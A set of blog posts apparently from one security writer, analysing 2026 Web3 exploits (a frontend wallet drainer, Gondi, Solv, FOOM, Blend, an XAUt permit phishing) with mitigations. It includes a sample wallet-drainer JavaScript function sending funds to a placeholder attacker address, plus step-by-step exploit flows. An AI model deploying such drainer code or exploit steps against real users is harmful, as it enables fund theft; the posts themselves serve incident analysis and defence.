Team Account → Unauthorized access

Only users who interacted with the website after the malicious code deployment and approved the signature request were affected.

Technical Attack Flow

The attack likely followed this pattern:
Attacker
↓
Compromise Developer / Admin Account
↓
Push Malicious Frontend Update
↓
Website Displays Fake Wallet Signature Prompt
↓
User Signs Message
↓
Malicious Transaction Generated
↓
Wallet Drainer Transfers Funds

The vulnerability exploited here is frontend trust.
Users typically assume:
If a Web3 application asks for a signature, it must be safe.
Attackers exploit this assumption by manipulating the UI.

Example Wallet Drainer Mechanism

A simplified example of how such a malicious script could drain funds.
async function drainWallet(wallet) {

const connection = new solanaWeb3.Connection(
solanaWeb3.clusterApiUrl("mainnet-beta")
);

const attackerWallet = new solanaWeb3.PublicKey(
"ATTACKER_WALLET_ADDRESS"
);

const transaction = new solanaWeb3.Transaction().add(
solanaWeb3.SystemProgram.transfer({
fromPubkey: wallet.publicKey,
toPubkey: attackerWallet,
lamports: 1000000000
})
);

const signedTx = await wallet.signTransaction(transaction);

const txid = await connection.sendRawTransaction(
signedTx.serialize()
);

console.log("Funds transferred:", txid);
}

If the user signs the transaction, the wallet authorizes the transfer, enabling the attacker to drain assets.

Root Cause Analysis

The incident was caused by infrastructure and operational security failures, not blockchain vulnerabilities.
1. Compromised Developer Account
Attackers likely gained access through:

credential phishing
weak passwords
stolen API keys
lack of multi-factor authentication
2. Unprotected Deployment Pipeline
Malicious code was deployed without safeguards such as:
commit signature verification
build validation
release approvals
3. Lack of Frontend Integrity Protection
The platform lacked controls to detect unauthorized script changes.
4. Unsafe Wallet Signature UX
Users were asked to sign unclear messages without understanding the action.

Secure Architecture for Web3 Platforms

Developers should treat the frontend as a critical security layer.
Recommended architecture:
Developer
↓
Version Control (Git)
↓
CI/CD Pipeline
↓
Security Checks
↓
Build Verification
↓
Immutable Deployment

Core principles:

No direct production edits
Enforce signed commits
Deploy only via CI/CD pipelines
Audit deployment access

Preventing Wallet Drainer Attacks

1. Enforce Multi-Factor Authentication
All developer accounts must require strong authentication.
Recommended:

hardware security keys
FIDO2 authentication
passkey-based login 2. Secure CI/CD Pipelines Never allow direct deployments from user accounts. Example pipeline: GitHub → CI Pipeline → Static Analysis → Security Scan → Production

Security checks should include:

dependency scanning
malicious code detection
unauthorized commit alerts 3. Use Subresource Integrity (SRI) Ensure scripts cannot be modified by attackers.

This ensures the browser verifies the script hash before execution.
4. Implement a Strict Content Security Policy
Content Security Policy can prevent malicious script execution.
Example:
Content-Security-Policy:
default-src 'self';
script-src 'self';
connect-src https://api.example.com;
5. Improve Wallet Signature Transparency
Never request signatures with vague messages.
Avoid prompts like:
Sign Message
Approve
Accept Terms

Instead display clear transaction information:
You are authorizing a transfer of 0.5 SOL
Destination Address: XXXXX
6. Detect Suspicious On-Chain Activity
Monitoring systems should detect abnormal transaction patterns.
Example rule:
Multiple wallets sending funds
to a new unknown address
within a short timeframe
→ trigger alert

Secure Wallet Interaction Validation

Developers should validate transactions before requesting signatures.
function validateTransaction(tx) {

if(tx.type !== "expected_action") {
throw new Error("Invalid transaction type");
}

if(tx.amount > MAX_ALLOWED_LIMIT) {
throw new Error("Transaction exceeds allowed limit");
}

return true;
}

Never allow unvalidated transactions to be generated directly from the frontend.

Web3 Security Checklist for Developers

Before deploying a Web3 application:
enforce MFA for all developer accounts
restrict production deployment access
verify commit signatures
use Content Security Policy
enable Subresource Integrity
audit dependencies
monitor wallet transaction behavior
validate wallet interactions
implement CI/CD security checks

Key Takeaway

This incident demonstrates an important lesson:
Web3 security is not limited to smart contracts.
Even when blockchain infrastructure is secure, attackers can exploit frontend infrastructure, developer accounts, and wallet interaction flows to steal funds.
To prevent similar incidents, Web3 teams must adopt secure DevOps practices, hardened frontend infrastructure, and transparent wallet interaction design.

Gondi NFT Lending Platform Hack: A Detailed Report

Saravana kumar — Wed, 11 Mar 2026 08:08:57 +0000

On March 9, 2026, the Gondi NFT lending protocol suffered a security exploit that resulted in the theft of approximately 78 non-fungible tokens (NFTs) valued at around $230,000. The vulnerability stemmed from a flaw in the platform's newly deployed "Sell & Repay" smart contract, specifically in the Purchase Bundler function, which lacked proper caller verification. This allowed an attacker to misuse existing user approvals to drain idle NFTs not involved in active loans. Gondi quickly identified the issue, disabled the affected feature, and assured users that active loan collaterals were safe. The platform has since resumed most operations and committed to full compensation for affected users. This report analyzes the incident, its technical details, impact, and lessons for the NFT lending ecosystem.

Background on Gondi

Gondi is a decentralized NFT lending platform built on Ethereum, enabling users to borrow cryptocurrency (like ETH) against their NFTs as collateral. Launched as an innovative solution for NFT liquidity, it allows borrowers to access funds without selling their assets outright. Key features include loan origination, repayment, and the "Sell & Repay" mechanism, introduced in a February 20, 2026 update, which automates selling escrowed NFTs to repay loans.
The platform operates via smart contracts, where users grant approvals (e.g., setApprovalForAll) to allow the contract to handle their NFTs during loan processes. This approval system, common in DeFi, became the exploit's entry point when combined with the bug in the new contract.

Timeline of the Incident

February 20, 2026: Gondi deploys the updated "Sell & Repay" contract (address starting with 0xc104...), including the Purchase Bundler function for batch NFT handling.
March 9, 2026, ~8:12 AM UTC: The exploit begins. The attacker executes around 40 transactions, draining 78 NFTs from users who had previously approved the contract. Stolen assets include SuperRare, Art Blocks, Doodles, and Beeple pieces.
Immediate Detection: Security firms like GoPlus Security and Blockaid detect the anomaly and alert the community. Gondi pauses the affected feature.
March 9, Afternoon: Gondi issues an official update via X (formerly Twitter), advising users to revoke approvals using tools like Revoke.cash and halt repayments until safe.
March 10, 2026: Gondi confirms the exploit is contained, resumes most activities, and begins compensation processes after audits by Blockaid and independent reviewers.

How the Hack Occurred: Step-by-Step Breakdown

The exploit targeted an approval vulnerability in the Purchase Bundler component of the Sell & Repay contract. Unlike direct wallet hacks, this didn't require stealing private keys but exploited lingering approvals from past interactions.
User Approvals: Many users had previously approved Gondi's contracts (e.g., setApprovalForAll) for loan management. These approvals persist unless revoked and allow the contract to transfer NFTs.
Vulnerable Contract Deployment: The February update introduced the Sell & Repay feature for seamless loan closures via NFT sales. However, the Purchase Bundler function, designed for batch operations, omitted checks on the caller's identity (msg.sender).
Attacker's Preparation: The hacker scanned public blockchain data for users with active approvals to the vulnerable contract (0xc10472ac...).
Exploit Execution: Using their own wallet, the attacker called the buy function with crafted executionData containing targeted NFT details. Due to the missing verification, the contract treated the call as legitimate, transferring NFTs via existing approvals. This affected only idle NFTs (not in active loans), as active collaterals had additional locks.
Drain and Exit: In ~40 transactions, the hacker drained 78 NFTs. Example transaction: 0x83bac5d4b222b97f9734637c072589da648941b8a884ce1a61324dc0449e6a06 (visible on Etherscan).

Technical Analysis: The Bug in Code

The vulnerability was in the PurchaseBundler.sol contract (verified on Etherscan). Key buggy excerpts:
buy Function (Entry Point):
solidity
function buy(bytes[] calldata executionData) external payable nonReentrant returns (uint256[] memory loanIds) {
loanIds = _buy(executionData);
}
Issue: No msg.sender restriction – anyone could call it.
_buy Internal Logic:
solidity
function _buy(bytes[] calldata executionData) private returns (uint256[] memory) {
// ... multicall to MultiSourceLoan without initiator check ...
}
Issue: Proceeds to loan multicalls without verifying the caller's relation to the NFTs.
afterPrincipalTransfer Hook:
solidity
function _afterPrincipalTransfer(IMultiSourceLoan.Loan memory _loan, uint256 _fee, bytes calldata _executionData) private {
// ... decodes data, calls marketplace without full caller auth ...
(success,) = executionInfo.module.call{value: executionInfo.value}(executionInfo.data);
}
Issue: Executes transfers assuming validity, relying only on onlyLoanContract modifier – but the chain starts from unrestricted buy.
This "approval exploit" is common in DeFi but was amplified by the bundler's batch capabilities.

Impact of the Hack

Financial Loss: ~$230,000 in stolen NFTs (44 Art Blocks, 10 Doodles, etc.).
Affected Users: Those with unrevoked approvals to the contract; active loans were unaffected.
Platform Disruption: Temporary halt on repayments and new activities; trust erosion in NFT lending.
Broader Ecosystem: Highlighted risks of persistent approvals, prompting revoke advisories across DeFi.

Gondi's Response and Mitigation

Gondi acted swiftly:

Disabled the Sell & Repay feature.
Advised revoking approvals via Revoke.cash for contract 0xc10472ac....
Conducted audits with Blockaid and independents, confirming containment.
Promised full compensation and shifted focus to user recovery.
Resumed operations by March 10, excluding the buggy contract.

Lessons Learned and Recommendations

This incident underscores DeFi's smart contract risks:
Approval Management: Always revoke unused approvals using tools like Revoke.cash.
Code Audits: New features need rigorous caller verification (e.g., require(msg.sender == owner)).
User Vigilance: Monitor wallet activity on Etherscan; use hardware wallets.
Platform Best Practices: Implement time-bound approvals and multi-sig for critical updates.
Community Advice: For Gondi users, revoke immediately; for NFT lenders, diversify platforms.
As NFT lending grows, incidents like this emphasize the need for robust security. Stay tuned for updates on Gondi's recovery efforts.

How a Double-Mint Smart Contract Bug Led to the Solv Protocol BRO Vault Exploit

Saravana kumar — Fri, 06 Mar 2026 09:18:32 +0000

Smart contract vulnerabilities in DeFi rarely come from complex cryptography. Most exploits happen because of subtle accounting mistakes in token minting or collateral tracking.
A recent exploit in Solv Protocol’s BRO Vault demonstrates how a small oversight in token processing logic can lead to multi-million dollar losses.
In this post, we’ll break down:

What the BRO vault does
Where the vulnerability existed
How the attacker exploited it
How developers can prevent similar bugs

What is the BRO Vault?

Solv Protocol uses ERC-3525 Semi-Fungible Tokens (SFTs) to represent value-bearing assets.
The BRO vault allows users to deposit these SFTs and receive wrapped tokens based on their value.
Simplified architecture
User deposits SFT
↓
Vault reads SFT value
↓
Vault mints BRO tokens

The vault automatically mints tokens when it receives an SFT.
This happens through the ERC721 receiver callback function.

The Vulnerable Code

The critical logic is inside the onERC721Received function.
function onERC721Received(
address,
address from_,
uint256 sftId_,
bytes calldata
)
external override returns (bytes4)
{
uint256 sftValue = IERC3525(wrappedSftAddress).balanceOf(sftId_);
require(sftValue > 0, "mint zero not allowed");

uint256 value = sftValue * exchangeRate / (10 ** decimals());

_mint(from_, value);

return IERC721Receiver.onERC721Received.selector;

}
What this function does

Receives an SFT token
Reads the token’s value
Calculates the amount of wrapped tokens
Mints tokens to the user At first glance, the logic appears straightforward. However, the problem lies in how the contract tracks processed tokens.

The Root Cause of the Vulnerability

The contract does not track whether an SFT has already been processed.
This means the same token ID can potentially trigger the mint logic multiple times.
The only validation present is:
require(sftValue > 0)

But there is no protection against processing the same collateral twice.
As a result, the contract may mint tokens multiple times using the same underlying asset value.
This leads to a double-mint vulnerability.

Why the Callback Design Was Risky

The minting logic is executed inside:
onERC721Received()

This function is automatically triggered when an NFT or SFT is transferred to the contract.
Using callbacks for financial logic introduces several risks.
1. Implicit execution
Developers might assume the function runs once per deposit.
But attackers can manipulate token transfers to trigger it multiple times.
2. Complex token flows
The contract internally transfers SFT balances between token IDs using a helper:
ERC3525TransferHelper.doTransfer(...)

These internal movements can create unexpected state changes that allow the mint logic to run again.
Possible Attack Flow
A simplified version of the exploit may look like this:
Step 1 — Attacker deposits an SFT
The attacker sends an ERC-3525 token to the vault.
Attacker → Vault

The onERC721Received callback triggers.
The vault mints wrapped tokens.
Step 2 — Internal SFT transfer occurs
The vault moves value between SFT IDs using an internal transfer helper.
doTransfer(sftId → holdingValueSftId)

This rearranges token balances.
Step 3 — Mint logic executes again
Because the contract does not mark SFTs as processed, the mint logic can run again using the same token value.
Mint again
Step 4 — Repeating the process
The attacker loops the process:
transfer → mint
transfer → mint
transfer → mint

Eventually, this inflates the supply of wrapped tokens and allows the attacker to drain assets from the vault.

Why Double-Mint Bugs Are Dangerous

DeFi protocols rely on strict collateral accounting.
A basic invariant should always hold:
Total Minted Tokens ≤ Total Collateral Deposited

With a double-mint vulnerability, this rule breaks:
Total Minted Tokens > Actual Collateral

Once this happens, attackers can withdraw more assets than they deposited.
How Developers Can Prevent This
Track Processed Assets

Always ensure a token can only be processed once.
Example:
mapping(uint256 => bool) public processedSFT;

require(!processedSFT[sftId_], "SFT already processed");

processedSFT[sftId_] = true;

This prevents double minting from the same collateral.
2. Avoid Minting in Callback Functions

Callbacks should only validate transfers.
Bad design:
transfer → automatic mint

Better design:
transfer → record deposit
user calls claim() → mint tokens

Separating these steps makes logic easier to verify.
3. Track Value Deltas
Instead of reading raw balances:
balanceOf(sftId)

Track how much value actually changed:
delta = newBalance - previousBalance

Mint tokens based only on new value deposited.
4. Use Reentrancy Protection
Adding protection helps defend against complex execution flows.
Example:
function onERC721Received(...) external nonReentrant

Key Takeaways for Smart Contract Developers

The Solv Protocol exploit highlights several common DeFi security pitfalls.
Avoid implicit financial operations
Critical actions like minting should require explicit user interaction.
Track every collateral asset
Assets must never be counted more than once.
Keep accounting logic simple
Complex token transfers increase the chance of accounting errors.
Enforce invariants
Protocols should constantly ensure:
mintedSupply ≤ collateralValue

If this rule breaks, the system becomes vulnerable to inflation attacks.

Conclusion

The Solv Protocol BRO vault exploit is a reminder that smart contract security often comes down to careful state management and correct accounting.
A missing validation check allowed the same collateral to be processed multiple times, leading to token inflation and fund loss.
For developers building DeFi protocols, the key lesson is simple:
Always assume that every external interaction — including token transfers — can be manipulated by attackers.
Design contracts so that each deposit is processed exactly once and every mint is fully backed by collateral.

Front-running the Exploiter: A Technical Breakdown of the $1.84M Foom.cash White-Hat Rescue

Saravana kumar — Thu, 05 Mar 2026 08:35:04 +0000

On February 27, 2026, Foom.cash faced a critical Smart Contract exploit across Ethereum and Base networks. The attack vector was a Groth16 Verifier deployment error, leading to a "Forged Proof" vulnerability. While $2.26M was initially at risk, a coordinated white-hat effort recovered 81% ($1.84M) of the funds.
This post deep-dives into the technical execution of that recovery.

The Vulnerability: Groth16 Malleability & Forged Proofs

The core of the issue lay in the Zero-Knowledge Proof (ZKP) verification logic. Specifically, the Groth16 verifier contract had a misconfiguration that failed to properly validate the constraints between public inputs and the proof.

The Bug: The contract didn't strictly check if the proof was unique or if it was bound to the specific transaction data.
The Exploit: Attackers used "Proof Malleability." By slightly altering a valid proof, they could generate a "new" forged proof that the contract still accepted as true.
The Result: This allowed unauthorized withdraw() calls, tricking the contract into releasing funds to the attacker's address.

The Rescue Operation: "White-Hat Front-running"

The recovery wasn't just a patch; it was an active counter-exploit. Here is how @duha_real and DecurityHQ secured the funds:
Real-time Monitoring & Mempool Analysis
Security researcher @duha_real (a former Foom.cash hacking contest winner) detected the malicious transactions on the Base network. By performing a deep-dive analysis of the transaction's input data and the forged proof structure, he was able to reverse-engineer the exploit payload.
The "Save-to-Safe" Strategy
To prevent the attacker from draining the remaining TVL (Total Value Locked), the white-hats used the same forged proof vulnerability against the protocol:

1. **Scripting the Interception:** They deployed a script to submit withdrawal transactions with higher gas fees (priority fees) than the attacker.
2. Redirecting Funds: Instead of withdrawing to a personal wallet, the white-hats directed the output of the forged proofs to a Secure Multisig Wallet controlled by the recovery team.
3. Cross-chain Coordination: While @duha_real focused on Base, the security firm DecurityHQ executed a similar rescue on Ethereum Mainnet, securing 90% of the ETH-based assets before the malicious bot could react.

The Cost of Security: Bounties vs. Loss

Post-recovery, Foom.cash opted for full transparency. The protocol paid out $420,000 in recovery fees:

$320,000 Bounty to @duha_real for the Base network rescue.
$100,000 Fee to DecurityHQ for the Ethereum mainnet operation. Compared to a potential $2.26M total loss, the $1.84M recovery proves that active threat monitoring and having a relationship with the white-hat community is the best insurance for DeFi protocols.

Key Takeaways for Devs

ZKP Security: Never assume a standard verifier library is "plug-and-play." Deployment parameters (like verifying the setup key) are critical.
Active Defense: In DeFi, a "pause" function isn't always enough. You need white-hats who can front-run malicious actors in the mempool.
Formal Verification: Always run formal verification on the circuit constraints to ensure no forged proofs can be validated.

The $1.8M FOOM Club Exploit: When a Groth16 Verifier Misconfiguration Breaks Soundness

Saravana kumar — Tue, 03 Mar 2026 11:53:32 +0000

On February 26, 2026, the FOOM Club ecosystem on Base suffered a $1.8M exploit that drained over 4.5 trillion $FOOM tokens. The incident was not caused by a flaw in ZK-SNARK cryptography. Instead, it was triggered by a misconfigured Groth16 verifier contract.

This distinction matters.

The mathematics behind Groth16 remained intact. What failed was the implementation specifically the verification key parameters embedded in the smart contract.

This post analyzes what went wrong and why verifier correctness is just as critical as circuit correctness in ZK applications.

Where the Vulnerability Lived

FOOM.Cash implemented a lottery system using Groth16, a widely adopted ZK-SNARK protocol known for small proof sizes and efficient on-chain verification.

The workflow was standard: a trusted setup generated a Proving Key (PK) and Verification Key (VK). Users produced a proof π = (A, B, C) demonstrating they possessed a winning secret without revealing it. The on-chain verifier validated this proof using elliptic curve pairings.

The issue did not originate in the circuit constraints.

It originated in the verification key stored inside the smart contract.

The Pairing Equation and Its Assumption

Groth16 verification enforces the equation:
e(A,B)=e(α,β)⋅e(L,γ)⋅e(C,δ)
Here, A and C are G1 points, B is a G2 point, and α, β, γ, δ are fixed parameters derived during trusted setup. The term L is computed from public inputs.

The soundness of Groth16 depends on the algebraic independence of these parameters particularly γ and δ. If this independence is compromised, the pairing equation can degenerate into a weaker constraint.

That is exactly what happened.

The delta2 == gamma2 Misconfiguration

Security analysis revealed that the verifier contract had delta2 equal to gamma2 in G2.

In Groth16, γ and δ serve different algebraic roles in enforcing proof validity. If they become equal or linearly dependent, the pairing equation loses its strength. An attacker can then construct a manipulated C value that satisfies verification without knowing the actual witness.

This is known as proof malleability.

The attacker did not break elliptic curves. They exploited a verifier that was mathematically weakened by incorrect parameters.

Once δ equaled γ, the smart contract effectively lost its ability to enforce soundness. Invalid proofs became indistinguishable from valid ones.

How the Exploit Played Out

The attacker funded a wallet on Base and deployed a custom exploit contract. Instead of manually interacting with FOOM.Cash, they automated proof submissions.

By crafting forged proofs that satisfied the weakened pairing equation, the attacker repeatedly triggered the withdraw logic.

The drain resulted in:

4,588,196,709,531 $FOOM tokens extracted
Approximately $1.82M USD in value

No flash loans were involved.
No reentrancy.
No integer overflow.

The entire exploit hinged on cryptographic parameter misconfiguration.

Why This Is a Dangerous Class of Failure

Most smart contract exploits exploit business logic or token economics. This one exploited cryptographic assumptions at the verifier layer.

Groth16 guarantees completeness, soundness, and zero-knowledge but only if the verification key is correctly generated and embedded. Those guarantees are conditional, not automatic.

If the verification key is flawed, the proof system remains mathematically correct yet practically useless.

This is what makes such vulnerabilities particularly dangerous. They are subtle, non-obvious, and often missed during traditional audits.

What Developers Must Internalize

Verification keys are part of your attack surface. They are not passive configuration artifacts. If they are generated incorrectly, modified incorrectly, or embedded incorrectly, your protocol can collapse at the cryptographic layer.

Never modify generated verifier contracts without rigorous review. Even small algebraic changes can destroy soundness.

Verifier contracts must defensively validate inputs, enforce curve constraints, and prevent replay of proofs. Groth16 itself is malleable unless proper safeguards are applied at the application layer.

If verification keys are upgradable, the upgrade path must be secured with multisig control and timelocks. An insecure initialize or update path is equivalent to handing over protocol security.

Most importantly, understand that ZK security does not automatically transfer to smart contracts. The blockchain enforces bytecode, not mathematical intent.

Final Reflection

The FOOM exploit is a textbook example of protocol implementation failure. The cryptographic design was sound. The deployment was not.

As ZK-based systems become foundational to rollups, privacy protocols, identity systems, and governance infrastructure, verifier correctness becomes non-negotiable.

The margin for error at the cryptographic boundary is effectively zero.

The lesson is simple: when soundness fails, funds follow.

$10.8M Oracle Manipulation Exploit on Stellar’s Blend Protocol

Saravana kumar — Tue, 03 Mar 2026 11:01:34 +0000

The DeFi landscape in 2026 continues to be a high-stakes battlefield. On the weekend of February 22, 2026, the Stellar-based lending platform, Blend Protocol, faced a sophisticated "Oracle Manipulation" attack. The target was the community-managed YieldBlox DAO Pool. The result? A staggering loss of approximately $10.8 million.
As developers, we often obsess over reentrancy and access control, but this exploit proves that the Price Oracle remains the ultimate single point of failure.

The Architecture of the Vulnerability

To understand the hack, we must first understand how Blend Protocol interacts with the Stellar Decentralized Exchange (SDEX). Blend is a non-custodial lending protocol where users can create isolated or shared liquidity pools.

The YieldBlox DAO Pool allowed for various assets to be used as collateral. One such asset was USTRY, a yield-bearing Treasury bond issued by Etherfuse.

The Fatal Flaw: Spot Price Dependency
The protocol utilized the Reflector Oracle system. In its configuration for the YieldBlox pool, the oracle was fetching the "Latest Price" (Spot Price) directly from the SDEX.

In low-liquidity environments, the spot price is a "lie" that can be bought. If an asset has thin order books, a relatively small buy order can skyrocket the price perception of the entire protocol.

Technical Execution: The 100x Pump

The attacker followed a classic "Pump-and-Borrow" strategy. Here is the step-by-step breakdown:

Preparation: The attacker identified USTRY as an asset with extremely low liquidity on the SDEX.
Manipulation: By executing a series of aggressive buy orders, the attacker artificially inflated the price of USTRY from its fair value of $1.05 to over $100.
The Oracle Lag: Because the Reflector oracle reported the latest trade price without filtering for volatility or using a Time-Weighted Average Price (TWAP), it broadcasted the $100 price to the Blend Protocol as the "True Price."
Collateralization: The attacker deposited a small amount of USTRY. The protocol, seeing the $100 valuation, treated this "dust" as massive collateral.
The Drain: Against this fake valuation, the attacker borrowed 1 Million USDC and 61 Million XLM.

According to a technical breakdown shared by security researcher Pashov, the incident was not a result of a direct smart contract vulnerability within the Blend protocol itself, but a pure economic manipulation of the oracle's price discovery.

Why TWAP Matters

For developers building on Stellar or any L1, this is a textbook case of why TWAP (Time-Weighted Average Price) is mandatory for lending markets.

A TWAP calculates the average price of an asset over a specific period (e.g., 30 minutes or 1 hour). To manipulate a 30-minute TWAP, an attacker would need to sustain the manipulated price for the entire duration, which is exponentially more expensive and gives monitors time to trigger a "Circuit Breaker."

The Recovery: Stellar’s Unique Safeguards

Unlike Ethereum, where "Code is Law" often means "Gone is Gone," the Stellar ecosystem has unique governance features.

Validator Intervention: Stellar’s Tier 1 validators acted with high coordination. They managed to successfully freeze approximately 48 million XLM (valued at ~$7.5M) before the attacker could bridge it out.
On-Chain Negotiation: The YieldBlox Security Council, led by Script3, offered a 10% White-hat Bounty if 90% of the funds were returned, promising no legal action.

Lessons for Web3 Developers

If you are building a DeFi protocol today, your security checklist must include these "Post-Blend" rules:
Liquidity-Aware Oracles
Never pull a price for an asset without checking the Depth of the Order Book. If the trade volume is less than the potential borrow limit, that asset should not be used as collateral.
Multi-Source Verification
Don't rely on a single DEX. Cross-reference SDEX prices with off-chain data (CEX) via providers like Chainlink or Pyth. If the price difference (slippage) is >5%, the protocol should automatically pause "Borrowing" functions.
Invariant Monitoring
Set up automated bots to monitor the Total Value Locked (TVL) vs. Total Borrowed. If the ratio shifts by 20% in a single block, trigger a 6-hour "Emergency Pause."

The Future of Stellar DeFi

The Blend Protocol exploit wasn't a failure of Stellar’s Soroban smart contracts; it was a failure of Economic Risk Modeling. As we move deeper into 2026, the complexity of yield-bearing assets like USTRY will only increase.
The core Blend protocol remains secure, but the YieldBlox incident serves as a grim reminder: In DeFi, if the oracle is wrong, the entire protocol is a donation box.

Security Deep Dive: How the ERC-20 permit Function was Exploited for a $92K XAUt Theft

Saravana kumar — Mon, 23 Feb 2026 08:27:09 +0000

On February 23, 2026, a sophisticated phishing attack resulted in the loss of 17.94 XAUt (Tether Gold), valued at approximately $92,000. While many hacks involve complex smart contract bugs, this one exploited a standard feature designed for user convenience: the ERC-20 permit function (EIP-2612).

The victim's wallet (0x151D5F9c...D50023) was drained in two transactions following a single malicious signature.

The Technical Context: What is permit?

Traditionally, to allow a contract to spend tokens, a user must call approve(). This is an on-chain transaction that costs gas.
To improve UX, EIP-2612 introduced the permit function. It allows a user to sign an off-chain message (structured data) that can be submitted to the blockchain by a third party (the "relayer") to update the token allowance.
The signature structure typically looks like this:
Solidity
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
Anatomy of the Exploit
In this specific XAUt incident, the attacker used a phishing site to trick the user into signing a permit message.
The Phishing Trap: The user was prompted to sign a transaction that appeared benign but was actually an off-chain signature granting full allowance to the attacker's address.
Signature Harvesting: Once the user signed, the attacker captured the v, r, s components.
Execution: The attacker called the permit function on the XAUt contract, setting the allowance for their own address to the maximum.
The Drain: With the allowance set, the attacker executed transferFrom to move the funds to these malicious addresses:
0xAfb2423F447D3e16931164C9970B9741aAb1723E
0x6eE62Ae8b3657AB1db5DE58e7410C0b77116a0B3

Developer Lessons: Mitigating Signature Risks

As Web3 developers, we have a responsibility to implement safeguards:
Verify Typed Data: When implementing frontend signing, ensure you are using eth_signTypedData_v4 to provide users with a readable breakdown of what they are signing.
Allowance Monitoring: Implement real-time security alerts. Tools like GoPlus Security can help detect if a user is interacting with known malicious "Permit" harvesters.
The "Rule of Four": Beyond code, we must educate users:

Never click unknown links.
Avoid unverified software.
Verify every signature detail (Spender, Value, Deadline).
Never transfer to unverified addresses.

Conclusion

The $92K XAUt theft is a stark reminder that even "gasless" features can be weaponized. As we build more seamless experiences, security must remain the primary layer.